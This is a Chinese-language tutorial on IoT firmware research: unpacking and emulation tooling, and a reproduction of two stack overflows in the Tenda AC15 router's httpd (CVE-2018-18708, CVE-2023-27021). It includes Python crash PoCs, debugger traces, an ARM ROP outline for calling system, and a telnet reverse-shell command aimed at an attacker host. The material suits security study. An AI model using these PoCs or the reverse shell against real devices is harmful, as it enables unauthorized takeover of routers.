Tenda-cve

IoT简易入门

复现,有了经验后尝试挖掘

环境

固件解包

binwalk: 可以分析并且解包

没有加密,因此可以使用binwalk解包

1
2
3
4
# -e, --extract                Automatically extract known file types
# -M, --matryoshka Recursively scan extracted files
# 也就是递归解包
$ binwalk -Me xxx.bin

仿真

有资金可以买个设备,效果更好。没资金的就虚拟运行

主要参考:固件仿真

qemu-user

下载静态编译的qemu-user,避免某些动态链接库导致运行错误

1
$ sudo apt install qemu-user-static

qemu-system

QEMU-System是QEMU项目的一部分,它提供了完整的虚拟化和仿真环境,允许用户模拟整个计算机系统,包括CPU、内存、外部设备等。QEMU-System是一种强大的工具,可用于多种用途,包括虚拟化、操作系统开发、嵌入式系统测试和仿真等。

1
$ sudo apt install qemu-system
搭建网桥

bridge是一个虚拟网络设备,所以具有网络设备的特征,可以配置IP、MAC地址等;其次,bridge是一个虚拟交换机,和物理交换机有类似的功能。

添加一个虚拟网桥并且获得IP地址

1
2
3
4
5
6
7
8
9
10
11
12
13
$ sudo apt install uml-utilities bridge-utils net-tools
# 添加一个网桥
$ sudo brctl addbr br0
# add interface
$ sudo brctl addif br0 eth0
# 网桥 up
$ sudo ifconfig br0 up
# dhcp 获得IP
$ sudo dhclient br0

# 删除网桥
$ sudo ifconfig br0 down
$ sudo brctl delbr br0

iproute2: iproute2 对决 net-tools,现在大部分linux默认安装这个工具而不是net-tools

参考 ArchWiki

1
2
3
4
5
6
7
8
9
10
11
12
# 新建一个网桥
$ sudo ip link add name br0 type bridge
$ sudo ip link set dev br0 up

# 将网卡加入/删除网桥
# 想要添加Interface到网桥上,interface状态必须是Up
$ sudo ip link set eth1 master br0
$ sudo ip link set eth1 nomaster

# 设置ip地址,需要结合自己的网关等进行设置
# IP address attached to eth1: 10.2.3.4/8
$ sudo ip address add 10.2.3.4/8 dev br0

tun网卡

1
2
$ ip tuntap add dev tap0 mod tap # 创建 tap 
$ ip tuntap add dev tun0 mod tun # 创建 tun
chroot

首先,可以在aurel32/qemu下载qemu-system所需的文件

  • kernel: zImage 格式压缩的 linux kernel
  • inited: ramdisk 镜像
  • drive: 文件系统镜像
  • 主要是net,设置为我们设置的网桥
1
2
3
4
5
6
7
8
9
qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic \
-net tap,ifname=br0,script=no,downscript=no \
-nographic

FAT

firmware-analysis-toolkit: 依赖firmadyne进行模拟

安装,会安装binwalk,并且和之前的冲突

1
2
3
$ git clone https://github.com/attify/firmware-analysis-toolkit
$ cd firmware-analysis-toolkit
$ ./setup.sh

使用

1
./fat.py xxx.bin

Unicorn

Unicorn 是一个 CPU 模拟器,

unicorn: Unicorn CPU emulator framework (ARM, AArch64, M68K, Mips, Sparc, PowerPC, RiscV, S390x, TriCore, X86)

Qiling

qiling由Unicorn引擎支持。

qiling: A True Instrumentable Binary Emulation Framework

源码或者docker

1
2
3
4
$ git clone https://github.com/qilingframework/qiling
# 文件系统
$ cd qiling && git submodule update --init --recursive pip3 install .
$ pip3 install .

编译ghidra

mips反编译下ghidra更好用

Linux可以使用包管理器下载,windows也可以直接下载release里的内容。

编译结果在build/dist/,是一个压缩包,这样每次更新就重新编译,不用每次更新下载release了

1
2
PS> gradle -I gradle/support/fetchDependencies.gradle init
PS> gradle buildGhidra

获取固件

物联网设备固件分析指南

  1. 硬件:飞线,拆芯片,uart串口
  2. 网络抓包:更新包时会请求并且下载
  3. 官网:官网提供下载
  4. 伸手党:问认识的大佬要😋

IDA plugins

历年比较好的IDA插件,改url后面的年份查看:Plug-In Contest

也可以自己开发

tenda

CVE-2018-18708

参考文章:Tenda CVE-2018-18708 漏洞复现

固件: AC15 V15.03.05.19

漏洞存在于bin/httpd:路由器的web服务器——httpd中的一个缓冲区溢出漏洞。 在处理 post 请求的函数fromAddressNatpage参数时,该值直接在 sprintf 中用于放置在堆栈上的局部变量,这会覆盖函数的返回地址。

直接看反编译代码,entrys mitInterface page三个参数用户可控,page会被sprintf拼接到v6中, 并没有对大小进行检查,导致了栈溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall fromAddressNat(int a1)
{
int v1; // r0
char v4[256]; // [sp+14h] [bp-418h] BYREF
char s[512]; // [sp+114h] [bp-318h] BYREF
char v6[256]; // [sp+314h] [bp-118h] BYREF
const char *v7; // [sp+414h] [bp-18h]
const char *v8; // [sp+418h] [bp-14h]
const char *v9; // [sp+41Ch] [bp-10h]

memset(v4, 0, sizeof(v4));
v9 = (const char *)sub_2BA8C(a1, "entrys", &unk_E5D48);
v8 = (const char *)sub_2BA8C(a1, "mitInterface", &unk_E5D48);
sprintf(s, "%s;%s", v9, v8);
sub_4EC58("adv.addrnat", s, 126);
v7 = (const char *)sub_2BA8C(a1, "page", "1");
v1 = sprintf(v6, "advance/addressNatList.asp?page=%s", v7);
if ( CommitCfm(v1) )
{
sprintf(v4, "advance_type=%d", 7);
send_msg_to_netctrl(5, v4);
}
return sub_2BE4C(a1, v6);
}

交叉引用寻找到,推测是注册路由的地方,我们可以从这入手挖洞

1
2
3
4
5
6
7
8
int sub_42378()
{
// ...
sub_171EC("GetStaticRouteCfg", formGetRouteStatic);
sub_171EC("SetStaticRouteCfg", fromSetRouteStatic);
sub_171EC("addressNat", fromAddressNat);
sub_10120("mNatGetStatic", mNatGetStatic);
//...

然后运行http服务。

1
2
$ cp $(which qemu-arm-static) .
$ sudo chroot . ./qemu-arm-static bin/httpd

然后对着参考文章进行patch,或者配置网桥

配置网桥,至于网桥名称为什么是br0:Tenda AC15 路由器漏洞分析与复现

1
2
3
4
sudo ip link add br0 type bridge
sudo ip link set eth0 br0 master
sudo ip link set br0 up
sudo ip addr add dev br0 192.168.85.200/24

cfm fail: patch一下

Cookie: password=是必要的,后面的值可以随便填

1
2
3
4
5
6
7
8
9
GET /main.html HTTP/1.1
Host: 192.168.85.131
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: password=hamster
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection:

使用给出PoC导致segment fault,将IP改了,其余不重要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket
import os
from pwn import *

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.85.131'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

li('[+] connecting')
r.connect((ip, port))
li('[+] connect finish')

rn = b'\r\n'

p1 = cyclic(0x300)

p2 = b'page=' + p1

p3 = b"POST /goform/addressNat" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=hamster" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

li('[+] sendling payload')
r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)

动态调试

qemu开启gdbserver

1
$ sudo qemu-arm-static -g 1234 -L ./ ./bin/httpd

gdb attach

1
2
3
$ gdb-mulitarch
$ file bin/httpd
$ b *0x00079F64

发送PoC,调试到漏洞出现的地方

1
2
3
4
► 0x7a064 <fromAddressNat+256>    bl     #sprintf@plt                       <sprintf@plt>
s: 0x4080010c ◂— 0x0
format: 0xe6054 ◂— 'advance/addressNatList.asp?page=%s'
vararg: 0x125250 ◂— 0x61616161 ('aaaa')

在函数返回时,将pc赋值

1
2
3
4
5
 ► 0x7a0c8 <fromAddressNat+356>    sub    sp, fp, #8
0x7a0cc <fromAddressNat+360> pop {r4, fp, pc}

// ...
Invalid address 0x61616160

CVE-2023-27021

参考:路由器通用0day漏洞挖掘及RCE思路

相同的固件,函数是 formSetFirewallCfg

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://192.168.85.131/goform/SetFirewallCfg"
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "password=hamster"
}

payload = "A" * 500
data = {"firewallEn": payload}
resp = requests.post(url, headers=header, data=data, timeout=5)
resp = requests.post(url, headers=header, data=data, timeout=5)
print(resp.text)

这两个漏洞都是可以控制函数执行流的,因此需要学习一下ROP是如何写

  • libcbase: 在gdb里面vmmap一下
  • ROP: 需要知道各个寄存器的作用
  • 路由器一般不支持bin/bash命令,选择用telnet来getshell

可以使用pop pc 来控制函数执行流

1
2
3
4
5
pop {r3, pc}
r3_val: system_addr
pc: 将地址改成下面指令地址
mov r0, sp // r0作为第一个参数
blx, r3

telnet 反弹shell

  • telnet在攻击者主机x.x.x.x及port1开启监听用户,并将此处Telnet的标准输入通过管道符传给后面命令/bin/bash执行,再将/bin/bash的输出结果作为后面telnet的输入。此时通过两个端口,一个接收用户输入,通过/bin/bash处理后再由另一个端口输出。
1
2
3
# (x.x.x.x为攻击机ip)
$ telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 5555
# 我们监听5555端口

more

IDA漏洞扫描插件:VulFi: IDA Pro plugin for query based searching within the binary useful mainly for vulnerability research

工具安装:

1
$ git clone https://github.com/Accenture/VulFi

然后将某些文件其放在ida/plugins目录下

1
$ cp vulfi.py vulfi_prototypes.json vulfi_rules.json ~/~/idafree-8.4/plugins

在search栏就能找到 VulFi 图标

写自己的规则:将alt_names 改成自己的列表就行,可以参考默认的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[
{
"name": "RULE NAME",
"alt_names":[
"function_name_to_look_for"
],
"wrappers":true,
"mark_if":{
"High":"True",
"Medium":"False",
"Low": "False"
}
}
]